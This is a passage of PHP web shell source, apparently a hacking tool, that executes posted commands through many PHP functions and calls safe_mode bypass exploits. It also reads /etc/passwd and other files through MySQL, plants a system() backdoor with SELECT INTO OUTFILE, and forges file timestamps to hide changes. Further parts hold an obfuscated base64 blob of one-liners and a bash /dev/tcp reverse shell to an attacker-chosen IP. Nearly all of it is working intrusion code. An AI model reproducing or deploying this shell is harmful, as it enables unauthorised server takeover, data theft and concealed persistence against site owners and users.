680 if ($failflag=="1") {
681 echo "all system functions are disabled :( <font color=\"gray\"> but you could try a CGI/SSI shell ;) and still there is<br></font>"; } else {
682 if (function_enabled('passthru')) {
683 echo 'passthru <input name="wut" value="passthru" type="radio" checked><br>';
684 } else { echo 'passthru is disabled!<br>';}
685 if (function_enabled('system')) {
686 echo 'system <input name="wut" value="system" type="radio"><br>';
687 } else { echo 'system is disabled!<br>';}
688 if (function_enabled('exec')) {
689 echo 'exec <input name="wut" value="exec" type="radio"><br>';
690 } else { echo 'exec is disabled!<br>';}
691 if (function_enabled('shell_exec')) {
692 echo 'shell_exec <input name="wut" value="shell_exec" type="radio"><br>';
693 } else { echo 'shell_exec is disabled!<br>';}
694 if (function_enabled('popen')) {
695 echo 'popen <input name="wut" value="popen" type="radio"><br>';
696 } else { echo 'popen is disabled!<br>';}
697 if (function_enabled('proc_open')) {
698 echo 'proc_open <input name="wut" value="proc_open" type="radio"><br>';
699 } else { echo 'proc_open is disabled!<br>';}
700 }
701 // eval almost always enabled, except there is special option in suhosin-patched php
702 echo 'php eval() <input name="wut" value="eval" type="radio"><br>';
703 echo '</form>';
704 echo "<br>pcntl_exec:";
705 //determining if pcntl enabled is kinda tricky. debug: add if(dl('pcntl.so')) or check var_dump(get_extension_funcs('pcntl')) ?
706 if (extension_loaded('pcntl')) {
707 if (function_enabled('pcntl_fork')) {
708 if (function_enabled('pcntl_exec')) {
709 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="gray"> interpreter <input name="inter" type="text" size="10" value="/bin/sh"></font> <br><font color="green"> haxor@pwnedbox$ </font><input name="p" type="hidden" value="s"><input name="command" type="text" size="40" value="'.$shelltext.'"> ><input type="radio" name="to" value=">" checked> >><input type="radio" name="to" value=">>"> <input name="pcfile" type="text" size="20" value="./rezult.html"> ';
710 if (is_writable("./")) {
711 echo "<font color=\"green\">(./ writable)</font>";
712 } else {
713 echo "<font color=\"red\">(./ readonly)</font>";
714 }
715 echo '<br><font color="gray">delete result file after showing contents</font><input type="checkbox" name="delrezult" checked><input type="submit" value="go"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="pcntl"></form>';
716 } else {
717 echo "<br>pcntl_exec is disabled!<br>";
718 }
719 } else {
720 echo "<br>pcntl_fork is disabled!<br>";
721 }
722 } else {
723 echo "<br>fail, no pcntl.so here<br>";
724 }
725 echo "<br>ssh2_exec:";
726 if (extension_loaded('ssh2')) {
727 if (function_enabled('ssh2_connect')) {
728 if (function_enabled('ssh2_exec')) {
729 if ($download != "1") {
730 if (empty($_POST["wut"])) {
731 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"> <font color="gray">host: <input name="ssh2host" type="text" size="20" value="localhost"> port: <input name="ssh2port" type="text" size="5" maxlength="5" value="22"> user: <input name="ssh2user" type="text" size="20" value="h4x0r"> password: <input name="ssh2pass" type="text" size="20" value="r0xx0r"> </font><br><font color="green"> haxor@pwnedbox$ </font><input name="command" type="text" size="40" value="uname -a"> <input type="submit" value="go"><input name="p" type="hidden" value="s"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="ssh2"></form>';
732 }
733 }
734 } else {
735 echo "<br>ssh2_exec is disabled!";
736 }
737 } else {
738 echo "<br>ssh2_connect is disabled!";
739 }
740 } else {
741 echo "<br>fail, no ssh2.so here";
742 }
743 echo $pageend;
744 } else {
745 if ($download != "1") {
746 echo $title;
747 }
748 $shelltext=$_POST["command"];
749 $html='<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green"> haxor@pwnedbox$ </font><input name="p" type="hidden" value="s">';
750 $input='<textarea name="command" rows="1" cols="50" onkeyup="changeSize(this)">'.$shelltext.'</textarea> 2>&1 <input type="submit" value="Enter"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="';
751 if ($download != "1") {
752 switch ($_POST["wut"]) {
753 case "passthru":
754 if (strnatcmp(version(),"5.2.9") <= 0) {
755 sploent516();
756 }
757 echo "$html"; echo "$input"; echo 'passthru"></form>';
758 break;
759 case "system":
760 if (strnatcmp(version(),"5.2.9") <= 0) {
761 sploent516();
762 }
763 echo "$html"; echo "$input"; echo 'system"></form>';
764 break;
765 case "exec":
766 if (strnatcmp(version(),"5.2.9") <= 0) {
767 sploent516();
768 }
769 echo "$html"; echo "$input"; echo 'exec"></form>';
770 break;
771 case "shell_exec":
772 if (strnatcmp(version(),"5.2.9") <= 0) {
773 sploent516();
774 }
775 echo "$html"; echo "$input"; echo 'shell_exec"></form>';
776 break;
777 case "popen":
778 if (strnatcmp(version(),"5.2.9") <= 0) {
779 sploent516();
780 }
781 echo "$html"; echo "$input"; echo 'popen"></form>';
782 break;
783 case "proc_open":
784 if (strnatcmp(version(),"5.2.9") <= 0) {
785 sploent516();
786 }
787 echo "$html"; echo "$input"; echo 'proc_open"></form>';
788 break;
789 case "eval":
790 if (strnatcmp(version(),"5.2.9") <= 0) {
791 sploent516();
792 }
793 echo "$html"; echo 'php -r \''; echo '<textarea name="command" rows="1" cols="50" onkeyup="changeSize(this)">'.$shelltext.'</textarea> \' <input type="submit" value="Enter">
794 <input name="wut" value="eval" type="hidden"></form>';
795 break;
796 case "pcntl":
797 //sploent516 not needed coz pcntl bypasses safe_mode
798 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="gray"> interpreter <input name="inter" type="text" size="10" value="/bin/sh"></font> <br><font color="green"> haxor@pwnedbox$ </font><input name="p" type="hidden" value="s"><input name="command" type="text" size="40" value="'.$shelltext.'"> ><input type="radio" name="to" value=">" checked> >><input type="radio" name="to" value=">>"> <input name="pcfile" type="text" size="20" value="'.$_POST["pcfile"].'">';
799 if (is_writable("./")) {
800 echo "<font color=\"green\">(./ writable)</font>";
801 } else {
802 echo "<font color=\"red\">(./ readonly)</font>";
803 }
804 echo ' <br><font color="gray">delete result file after showing contents</font><input type="checkbox" name="delrezult" checked><input type="submit" value="go"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="pcntl"></form>';
805 break;
806 case "ssh2":
807 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="gray"> host: <input name="ssh2host" type="text" size="20" value="'.$_POST["ssh2host"].'"> port: <input name="ssh2port" type="text" size="5" maxlength="5" value="'.$_POST["ssh2port"].'"> user: <input name="ssh2user" type="text" size="20" value="'.$_POST["ssh2user"].'"> password: <input name="ssh2pass" type="text" size="20" value="'.$_POST["ssh2pass"].'"> </font><br><font color="green"> haxor@pwnedbox$ </font> <input name="command" type="text" size="40" value="'.$shelltext.'"> <input type="submit" value="go"><input name="p" type="hidden" value="s"> <input type="checkbox" name="down"> download <input name="wut" type="hidden" value="ssh2"></form>';
808 break;
809 }
810 }
811 }
812 if (!empty($_POST["wut"])) {
813 if ($download != "1") {
814 echo "<textarea cols=\"80\" rows=\"40\">";
815 }
816 switch ($_POST["wut"]) {
817 case "passthru":
818 passthru($_POST["command"]." 2>&1");
819 break;
820 case "system":
821 system($_POST["command"]." 2>&1");
822 break;
823 case "exec":
824 exec($_POST["command"]." 2>&1",$out);
825 echo join("\n",$out);
826 break;
827 case "shell_exec":
828 $out=shell_exec($_POST["command"]." 2>&1");
829 echo "$out";
830 break;
831 case "popen":
832 $hndl=popen($_POST["command"]." 2>&1", "r");
833 $read=stream_get_contents($hndl);
834 echo $read;
835 pclose($hndl);
836 break;
837 case "proc_open":
838 $process = proc_open('/bin/sh', $descriptorspec, $pipes);
839 if (is_resource($process)) {
840 fwrite($pipes[0],$_POST["command"]);
841 fclose($pipes[0]);
842 echo stream_get_contents($pipes[1]);
843 fclose($pipes[1]);
844 echo stream_get_contents($pipes[2]);
845 fclose($pipes[2]);
846 @proc_close($process);
847 }
848 break;
849 case "pcntl":
850 $shelltext=$_POST["command"];
851 switch (pcntl_fork()) {
852 case 0:
853 pcntl_exec($_POST["inter"],array("-c","".$_POST["command"]." ".$_POST["to"]." ".$_POST["pcfile"]));
854 exit(0);
855 default:
856 break;
857 }
858 sleep(1);
859 $fh=fopen("".$_POST["pcfile"]."","r");
860 if (!$fh) { echo "can`t fopen ".$_POST["pcfile"].", seems that we failed :("; }
861 else {
862 $rezult=fread($fh,filesize($_POST["pcfile"]));
863 fclose($fh);
864 echo $rezult;
865 if ($_POST["delrezult"] == "on") { unlink($_POST["pcfile"]); }
866 }
867 break;
868 case "eval":
869 eval($_POST["command"]);
870 break;
871 case "ssh2":
872 $connection=ssh2_connect($_POST["ssh2host"], $_POST["ssh2port"]) or die ("cant connect. host/port wrong?");
873 //using knowingly wrong username to test auth. methods
874 $auth_methods = ssh2_auth_none($connection, '12309tezt');
875 if (in_array('password', $auth_methods)) {
876 $connection=ssh2_connect($_POST["ssh2host"], $_POST["ssh2port"]) or die ("cant connect. host/port wrong?"); //need to connect again after failed login
877 if (ssh2_auth_password($connection, ''.$_POST["ssh2user"].'', ''.$_POST["ssh2pass"].'')) {
878 $stream=ssh2_exec($connection, $shelltext);
879 stream_set_blocking($stream, true);
880 $data = "";
881 while ($buf = fread($stream,4096)) {
882 $data .= $buf;
883 }
884 fclose($stream);
885 echo $data;
886 } else {
887 echo "cant login. user/pass wrong?";
888 }
889 } else {
890 echo 'fail, no "password" auth method';
891 }
892 break;
893 }
894 if ($download != "1") {
895 echo "</textarea>";
896 }
897 }
898 break;
899// --------------------------------------------- shell end; file operations
900 case "f":
901 if ($download != "1") {
902 echo $title;
903 echo "<font color=\"gray\">";
904 echo "current dir: ".getcwd()."<br>";
905 sploent516();
906 echo "<br>--------------------------------<br></font>";
907 }
908 if (empty($_POST["filer"]) and $download != "1" and empty($_POST["edt"]) and empty($_POST["sqlr"]) and empty($_POST["sqlu"]) and empty($_POST["upload"])) {
909 echo '<a href="#" onclick="showTooltip(7)" id="link"> >> read/upload/edit file << </a><br><br>
910 <div id="7" style="display: none">';
911 $ololotext="/home/USER/public_html/DOMAIN/index.php";
912 echo '<font color="blue">---> read file </font><br>';
913 echo "php file_get_contents:<br>";
914 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green"> haxor@pwnedbox$</font> cat <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
915 <input name="filer" type="hidden" value="php"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"> <input type="checkbox" name="down"> download </form>';
916 //curl
917 if (strnatcmp(version(),"5.2.9") <= 0) {
918 echo "<br> curl exploit: <br>";
919 if (!extension_loaded('curl')) {
920 echo " fail, curl is required<br>";
921 } else {
922 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green"> haxor@pwnedbox$</font> cat <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
923 <input name="filer" type="hidden" value="curl"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"> <input type="checkbox" name="down"> download </form>';
924 }
925 }
926 } else {
927 switch ($_POST["filer"]) {
928 case "php":
929 $ololotext=($_POST["filename"]);
930 if ($download != "1") {
931 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green">haxor@pwnedbox$ </font>cat
932 <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
933 <input name="filer" type="hidden" value="php"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"><input type="checkbox" name="down"> download </form>';
934 }
935 if (!empty($_POST["filename"])) {
936 if ($download != "1") {
937 echo '<font color="gray">';
938 echo "<textarea cols=\"80\" rows=\"40\">";
939 }
940 $contents=file_get_contents($_POST["filename"]) or die("failed. bad permissions or no such file?".$pageend."");
941 echo $contents;
942 if ($download != "1") {
943 echo "</textarea>";
944 }
945 echo $pageend;
946 die();
947 }
948 break;
949 case "curl":
950 $ololotext=($_POST["filename"]);
951 if ($download != "1") {
952 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'"><font color="green">haxor@pwnedbox$ </font>cat
953 <input name="filename" type="text" maxlength="500" size="50" value="'.$ololotext.'">
954 <input name="filer" type="hidden" value="curl"><input type="submit" value="Enter"><input name="p" type="hidden" value="f"><input type="checkbox" name="down"> download </form>';
955 }
956 if (!empty($_POST["filename"])) {
957 if ($download != "1") {
958 echo '<font color="gray">';
959 echo "<textarea cols=\"80\" rows=\"40\">";
960 }
961 sploent529($_POST["filename"]);
962 }
963 break;
964 }
965 }
966 // curl + file_get_contents end
967 if ($download != "1" and empty($_POST["edt"]) and empty($_POST["sqlu"])) {
968 echo "<br>mysql:<br>";
969 if (empty($_POST["sqlr"])) {
970 $user="root";
971 $pass="12345";
972 $db="test";
973 $host="localhost";
974 $port="3306";
975 $file="/etc/passwd";
976 } else {
977 $user=$_POST['user'];
978 $pass=$_POST['pass'];
979 $db=$_POST['db'];
980 $host=$_POST['host'];
981 $port=$_POST['port'];
982 $file=$_POST['file'];
983 }
984 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">user <input name="user" type="text" maxlength="500" size="10" value="'.$user.'"> password <input name="pass" type="text" maxlength="500" size="10" value="'.$pass.'"> host <input name="host" type="text" maxlength="500" size="10" value="'.$host.'">:<input name="port" type="text" maxlength="5" size="5" value="'.$port.'"> database <input name="db" type="text" maxlength="500" size="10" value="'.$db.'"><font color="gray">(needed for `load data infile`)</font><br><input name="wut" value="load_file" type="radio" checked>load_file<br><input name="wut" value="infile" type="radio">load data infile <font color="gray">(use it for binary files)</font><br><input name="file" type="text" maxlength="500" size="40" value="'.$file.'"> <input type="submit" value="go"><input name="sqlr" type="hidden" value="yup"><br><input name="p" type="hidden" value="f"></form>';
985 if (!empty($_POST["sqlr"])) {
986 $link=mysql_connect("".$host.":".$port."",$user,$pass) or die("cant connect: ".mysql_error()."".$pageend."");
987 switch ($_POST['wut']) {
988 case "load_file":
989 $q='SELECT load_file("'.$_POST["file"].'")';
990 $rez=mysql_query($q,$link) or die("query error:".mysql_error()."".$pageend."");
991 echo "result:<br>";
992 echo "<textarea cols=\"80\" rows=\"20\">";
993 echo mysql_result($rez,0);
994 echo "</textarea><br>";
995 echo $pageend;
996 die();
997 break;
998 case "infile":
999 mysql_select_db($db) or die ("cannot select db: ".mysql_error()."".$pageend."");
1000 mysql_query("CREATE TABLE `file` ( `text` LONGBLOB NOT NULL );") or die ("cannot create table: ".mysql_error()."".$pageend."");
1001 mysql_query("LOAD DATA INFILE \"".$_POST["file"]."\" INTO TABLE file LINES TERMINATED BY '' (`text`)") or die ("cannot load data: ".mysql_error()."".$pageend."");
1002 $rez=mysql_query("SELECT * FROM file;");
1003 if (!$rez) { echo "fail. permission denied?<br>"; }
1004 else {
1005 for ($i=0;$i<mysql_num_fields($rez);$i++) {$name = mysql_field_name($rez,$i);}
1006 $f = "";
1007 while ($row = mysql_fetch_array($rez, MYSQL_ASSOC)) {$f .= join ("\r\n",$row);}
1008 if (empty($f)) {
1009 echo "file does not exists or empty?<br>";
1010 } else {
1011 echo "result:<br>";
1012 // code from c99shell madnet edition
1013 $n = 0;
1014 $a0 = "00000000<br>";
1015 $a1 = "";
1016 $a2 = "";
1017 for ($i=0; $i<strlen($f); $i++) {
1018 $a1 .= sprintf("%02X",ord($f[$i]))." ";
1019 switch (ord($f[$i])) {
1020 case 0: $a2 .= "<font>0</font>"; break;
1021 case 32:
1022 case 10:
1023 case 13: $a2 .= " "; break;
1024 default: $a2 .= htmlspecialchars($f[$i]);
1025 }
1026 $n++;
1027 if ($n == 24) {
1028 $n = 0;
1029 if ($i+1 < strlen($f)) {$a0 .= sprintf("%08X",$i+1)."<br>";}
1030 $a1 .= "<br>";
1031 $a2 .= "<br>";
1032 }
1033 }
1034 echo '<table border=0 cellspacing="1" cellpadding="4"><tr><td>'.$a0.'</td><td>'.$a1.'</td><td>'.$a2.'</td></tr></table><br>';
1035 }
1036 mysql_free_result($result);
1037 mysql_query("DROP TABLE file;") or die("cannot drop table: ".mysql_error()."".$pageend."");
1038 }
1039 echo $pageend;
1040 die();
1041 break;
1042 }
1043 mysql_close($link);
1044 }
1045 }
1046 // mysql read file end. upload
1047 if ($download != "1" and empty($_POST["edt"])) {
1048 echo '<br><font color="blue">---> upload file</font><br>';
1049 if (!ini_get('file_uploads')) {
1050 echo "php file_uploads Off<br>";
1051 } else {
1052 echo "<font color=\"gray\">post_max_size: ".ini_get('post_max_size')."<br>";
1053 echo "upload_max_filesize: ".ini_get('upload_max_filesize')."<br>";
1054 echo "</font>";
1055 if (is_writable("./")) {
1056 echo "<font color=\"green\">./ writable</font>";
1057 } else {
1058 echo "<font color=\"red\">./ readonly</font>";
1059 }
1060 if (!isset($_POST["dir"])) {
1061 $upto=".";
1062 } else {
1063 $upto=$_POST["dir"];
1064 }
1065 echo '<form enctype="multipart/form-data" action="'.$_SERVER['PHP_SELF'].'" method="post"><input name="sourcefile" type="file"> upload to <font color="gray">(dir)</font><input name="filedir" type="text" maxlength="500" size="20" value="'.$upto.'"><font color="green">/</font><input name="upname" type="text" maxlength="500" size="20" value=""><font color="gray">(name. empty = use original file`s name)</font> <input name="upload" type="hidden" value="okz"><input name="p" type="hidden" value="f"><br><input type="submit" value="upload">';
1066 echo '</form>';
1067 if (!empty($_POST["upload"])) {
1068 if(is_uploaded_file($_FILES["sourcefile"]["tmp_name"]))
1069 {
1070 echo "upload ok";
1071 $dirtime=filemtime($_POST['filedir']);
1072 if (!empty($_POST["upname"])) {
1073 $upname=$_POST["upname"];
1074 } else {
1075 $upname=$_FILES["sourcefile"]["name"];
1076 }
1077 move_uploaded_file($_FILES["sourcefile"]["tmp_name"], $_POST['filedir']."/".$upname) or die("<br>moving failed!<br>".$pageend."");
1078 echo "<br>moving done, trying to touch (old time of ".$_POST['filedir']." = ".date("d/m/Y H:i:s",$dirtime).")<br>";
1079 touch($_POST['filedir']."/".$upname,$dirtime,$dirtime) or die ("<br>touch failed!<br>".$pageend."");
1080 echo "file touched: new time of ".$upname." = ".date("d/m/Y H:i:s",filemtime($_POST['filedir']."/".$upname)).". trying to touch dir<br>";
1081 touch($_POST['filedir'],$dirtime,$dirtime) or die ("<br>touch dir failed!<br>".$pageend."");
1082 echo "dir touched: new time of ".$_POST['filedir']." = ".date("d/m/Y H:i:s",filemtime($_POST['filedir']))."<br>";
1083 } else {
1084 echo("<br>upload failed!<br>");
1085 }
1086 }
1087 }
1088 if ($download != "1" and empty($_POST["edt"])) {
1089 echo "<br>mysql:<br>";
1090 if (empty($_POST["sqlu"])) {
1091 $user="root";
1092 $pass="12345";
1093 $db="test";
1094 $host="localhost";
1095 $port="3306";
1096 if (empty($_POST["dir"])) {
1097 $dir=getcwd();
1098 } else {
1099 $dir=$_POST["dir"];
1100 }
1101 $file=$dir."/shell.php";
1102 $evilcodez='<?php system($_GET["command"]); ?>';
1103 } else {
1104 $user=$_POST['user'];
1105 $pass=$_POST['pass'];
1106 $db=$_POST['db'];
1107 $host=$_POST['host'];
1108 $port=$_POST['port'];
1109 $file=$_POST['file'];
1110 $evilcodez=$_POST['evilcodez'];
1111 }
1112 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">user <input name="user" type="text" maxlength="500" size="10" value="'.$user.'"> password <input name="pass" type="text" maxlength="500" size="10" value="'.$pass.'"> host <input name="host" type="text" maxlength="500" size="10" value="'.$host.'">:<input name="port" type="text" maxlength="5" size="5" value="'.$port.'"><br> select <br><textarea name="evilcodez" cols="80" rows="4">'.$evilcodez.'</textarea><br>into outfile <input name="file" type="text" maxlength="500" size="40" value="'.$file.'"> <input type="submit" value="go"><input name="sqlu" type="hidden" value="yup"><br><input name="p" type="hidden" value="f"></form>';
1113 }
1114 if (!empty($_POST["sqlu"])) {
1115 $link=mysql_connect("".$host.":".$port."",$user,$pass) or die("cant connect: ".mysql_error()."".$pageend."");
1116 $q='SELECT \''.mysql_real_escape_string($_POST['evilcodez']).'\' INTO OUTFILE "'.$_POST["file"].'"';
1117 $rez=mysql_query($q,$link) or die("query error:".mysql_error());
1118 echo "done<br>";
1119 mysql_close($link);
1120 echo $pageend;
1121 die();
1122 }
1123 echo "<br>";
1124 echo '<font color="blue">---> edit file</font><br>';
1125 if (!empty($_POST["edit"])) {
1126 $filee=trim($_POST["filee"]);
1127 $files=trim($_POST["files"]);
1128 } else {
1129 $filee="/etc/passwd";
1130 if (empty($_POST["dir"])) {
1131 $dir="./";
1132 } else {
1133 $dir=$_POST["dir"]."/";
1134 }
1135 $files=$dir."cache.txt";
1136 }
1137 echo '<form name="editor" method="post" action="'.$_SERVER['PHP_SELF'].'"><input name="filee" type="text" maxlength="500" size="30" value="'.$filee.'"> save as <input name="files" type="text" maxlength="500" size="30" value="'.$files.'"> <input type="submit" value="go"><input name="edt" type="hidden" value="ok"><input name="edit" type="hidden" value="edit"><input name="p" type="hidden" value="f"><br></form>';
1138 }
1139 if (!empty($_POST["edit"])) {
1140 $filee=trim($_POST["filee"]);
1141 $oldtime=@filemtime($filee);
1142 $files=trim($_POST["files"]);
1143 if (!file_exists($files)) {
1144 if (!fopen($files,'a+')) {
1145 echo '<font color="red">'.$files.' isnt writable! (cannot open "a+")<br></font>'; echo $pageend; die();
1146 } else {
1147 if (!file_exists($filee)) {
1148 echo '<font color="gray"> no file '.$filee.', I`ll create new '.$files.'.</font><br>';
1149 } else {
1150 echo '<font color="gray"> no file '.$files.', I`ll create new '.$files.'.</font><br>';
1151 }
1152 fclose($files);
1153 unlink($files);
1154 }
1155 } else {
1156 if (!is_writable($files)) {
1157 $chmoded=substr(sprintf('%o',fileperms($files)), -4);
1158 echo '<font color="gray">'.$files.' chmod '.$chmoded.', trying to chmod 0666</font>';
1159 chmod($files, 0666) or die ('<font color="red"><br>cannot chmod '.$files.' 666!'.$pageend.'');
1160 echo '<font color="gray"> ...done</font>';
1161 }
1162 }
1163 if (!empty($_POST["edt"])) {
1164 $filec=file_get_contents($filee);
1165 if (empty($filec)) {
1166 echo '<font color="red">cannot get '.$filee.' contents!</font>';
1167 }
1168 if (isset($_POST['filec'])) {
1169 $filec=$_POST['filec'];
1170 $fh=fopen($files,"w+") or die ('<font color="red">cannot fopen "w+"!</font>'.$pageend.'');
1171 fputs($fh,$filec);
1172 fclose($fh) or die ('<font color="red">cannot save file!</font>'.$pageend.'');
1173 if (isset($_POST['chmoded'])) {
1174 echo "chmoding to old perms(".trim($_POST['chmoded']).")<br>";
1175 $perms = 0;
1176 for($i=strlen($_POST['chmoded'])-1;$i>=0;--$i)
1177 $perms+=(int)$_POST['chmoded'][$i]*pow(8, (strlen($_POST['chmoded'])-$i-1));
1178 chmod($files, $perms);
1179 }
1180 $date=explode(" ",$_POST["touch"]);
1181 $day=explode("-",$date[0]);
1182 $time=explode(":",$date[1]);
1183 $unixtime=mktime($time[0],$time[1],$time[2],$day[1],$day[2],$day[0]);
1184 @touch($files,$unixtime,$unixtime);
1185 die('<br><font color="green"> -> '.$files.' saved!</font>'.$pageend.'');
1186 }
1187 if (empty($oldtime)) {
1188 $ttime=time();
1189 } else {
1190 $ttime=$oldtime;
1191 }
1192 echo '<form action="'.$_SERVER["PHP_SELF"].'" method="post">enter touch time: <input name="touch" type="text" maxlength="19" size="19" value="'.date("Y-m-d H:i:s",$ttime).'"><br><textarea cols="80" rows="20" name="filec">'.$filec.'</textarea><input name="filee" type="hidden" value="'.$filee.'"><input name="p" type="hidden" value="f"><input name="files" type="hidden" value="'.$files.'">';
1193 if (isset($chmoded)) {
1194 echo '<input name="chmoded" type="hidden" value="'.$chmoded.'">';
1195 }
1196 echo '<input name="edit" type="hidden" value="edit"><br><input type="submit" name="edt" value="save"></form>';
1197 }
1198 echo $pageend;
1199 die();
1200 }
1201 if ($download != "1") {
1202 echo '<br></div><font color="blue">---> fail manager</font><br>';
1203 }
1204 if ($action=="viewer") {
1205 if (!isset($dir)) {
1206 $dir=getcwd();
1207 }
1208 scandire($_POST["dir"]);
1209 }
1210 if ($action=="download") {
1211 readfile($_POST["file"]);
1212 }
1213 if ($action=="chmod") {
1214 chmodz($_POST["file"]);
1215 }
1216 if ($action=="touch") {
1217 touchz($_POST["file"]);
1218 }
1219 if ($action == 'delete') {
1220 if (unlink($_POST["file"])) $content.="file ".$_POST["file"]." deleted, <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a>";
1221 }
1222 if ($action == 'deletedir') {
1223 if (!rmrf($_POST["file"])) {
1224 $content .="error deleting dir ".$_POST["file"].", <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a>";
1225 } else {
1226 $content .="dir ".$_POST["file"]." deleted, <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='".$_POST["dir"]."'; document.reqs.submit();\">back</a>";
1227 }
1228 }
1229 if (!empty($content)) {
1230 echo $content;
1231 }
1232 if ($download != "1") {
1233 echo '<br>';
1234 echo '<form name="reqs" method="post" action="'.$_SERVER["PHP_SELF"].'"><input name="action" type="hidden" value=""><input name="dir" type="hidden" value=""><input name="file" type="hidden" value=""><input name="p" type="hidden" value="f"></form>';
1235 echo $pageend;
1236 }
1237 break;
1238// --------------------------------------------- file operations end; bind
1239 case "b":
1240 echo $title;
1241 echo '<a href="#" onclick="showTooltip(1)" id="link"> >> help << </a>
1242 <div id="1" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none">
1243 you could get almost-interactive shell in bind/backconnect with help of these commands<br>
1244 -> if there is python on the server, run: <br>
1245 python -c \'import pty; pty.spawn("/bin/bash")\'<br>
1246 -> ruby:<br>
1247 ruby -rpty -e \'PTY.spawn("/bin/bash")do|i,o|Thread.new do loop do o.print STDIN.getc.chr end end;loop do print i.sysread(512);STDOUT.flush end end\'<br>
1248 -> expect:<br>
1249 expect -c \'spawn sh;interact\'<br>
1250 -> policycoreutils package:<br>
1251 open_init_pty bash<br><br>
1252 //thanks to tex from rdot.org<br><br>
1253 for backconnect you should use small one-liners coz there is no temporary file created. in case they fail, try usual "big" backconnects.<br><br>
1254 //thanks to Bernardo Damele and pentestmonkey.net<br><br>
1255 if your terminal is broken after using backconnect (i.e. it doesnt show what you type), run command: reset<br>
1256 </div><br><br>';
1257 if ($failflag=="1") {
1258 echo "fail, at least one system function needed!<br><br>";
1259 } else {
1260 $nc='<font color="gray">(dont forget to setup nc <b>first</b>!)</font>';
1261 $semi='<font color="gray">dont forget to write <b>;</b> at the end of command!</font>';
1262 sploent516();
1263 echo "<br>"; //debug: sometimes page cut here, when passthru system shell_exec are disabled
1264 echo '<font color="green"> - - - - = = = = > > one-liners</font><br><a href="#" onclick="showTooltip(4)" id="link4"> >> show code << </a>
1265 <div id="4" style="background-color: #bbbbbb; color: #000000; position: absolute; border: 1px solid #FF0000; display: none"><textarea cols="80" rows="20">
1266'.gzinflate(base64_decode("pZLRq5swFMbf/SsOIq0Bjbfdm6lCue1Axr2W6tsYpU3iKtUkJHZdWe/+9kVbmBv3YbAXT/IRv/NLvnPYm2PswNNiMpt/IPw7p2AXizRi/FvUURVlG7xcrfB2jYsi2uTbkoA5wnAc0uE7H4rjKK4ba9UXCF+yHEIOU08lldQn61x3QV35nkLEo4ngF8jyOC4kPfEujrPXdelvONdLxnTgjpvGfVMXkaJcZa9hWjGpuPA9Gmjr9HMsXBAxV9Px1tvB5Vg3fJGSqePo8+FqufoCoTZDx4GtZ4K6ggGQJuXz5o6DLZ3/B4MbuA+KwdenLUso/so7g0iWYzUQWDFwtYt+3Gp5o1jpWlh7iTXfszcumEURtAdpIawg6loVYUEFI9CehGQjBRRMJiAojBmgJ7BBjY7dIDrUIrJ5zNKR3AfiOB1vhH3af+93/+G/eqprd5SiH4JhASGFad0qqTu4v3tgzgelJeXGBNIQk9xlfC/+Y7f8uOsHInhsi/z5064ot+vli00YUykEp53/d0Q9K0JEGszOau4bXNmohPRR8IQIvCPP3pfniKjkNyem+6bxP7uPa9tRCGv3C7KT9Qs=")).'</textarea></div><br>';
1267 echo '<form method="post" action="'.$_SERVER['PHP_SELF'].'">backconnect to <input name="ip" type="text" maxlength="15" size="15" value="123.123.123.123">:<input name="port" type="text" maxlength="5" size="5" value="1337"><input name="p" type="hidden" value="b"> using <br>';
1268 $searchvar=trim(search("bash",$failflag));
1269 if (empty($searchvar)) {
1270 echo "fail, no bash here<font color=\"gray\"> (lolwut?)</font><br>";
1271 } else {
1272 echo ' bash <input name="wut" value="bash" type="radio" checked><br>';
1273 }
1274 $searchvar=trim(search("perl",$failflag));
1275 if (empty($searchvar)) {
1276 echo "fail, no perl here<br>";
1277 } else {
1278 echo ' perl <input name="wut" value="perl" type="radio"><br>';
1279 }
1280 $searchvar=trim(search("ruby",$failflag));
1281 if (empty($searchvar)) {
1282 echo "fail, no ruby here<br>";
1283 } else {
1284 echo ' ruby <input name="wut" value="ruby" type="radio"><br>';
1285 }
1286 $searchvar=trim(search("nc",$failflag));
1287 if (empty($searchvar)) {
1288 echo "fail, no nc here<br>";
1289 } else {
1290 echo ' nc <input name="wut" value="nc" type="radio"><br>';
1291 }
1292 $searchvar=trim(search("telnet",$failflag));
1293 if (empty($searchvar)) {
1294 echo "fail, no telnet here<br>";
1295 } else {
1296 echo ' telnet <input name="wut" value="telnet" type="radio"><br>';
1297 }
1298 $searchvar=trim(search("python",$failflag));
1299 if (empty($searchvar)) {
1300 echo "fail, no python here<br>";
1301 } else {
1302 echo ' python <input name="wut" value="python" type="radio"><br>';
1303 }
1304 echo '<br><input type="hidden" name="oneline" value="oneline"><input type="submit" value="go"></form><br>';
1305 if (!empty($_POST["oneline"])) {
1306 switch ($_POST["wut"]) {
1307 case "bash":
1308 $c='0<&123;exec 123<>/dev/tcp/'.$_POST["ip"].'/'.$_POST["port"].'; sh <&123 >&123 2>&123';
1309 run($c);
1310 echo "done<br>";
1311 break;
1312 case "perl":
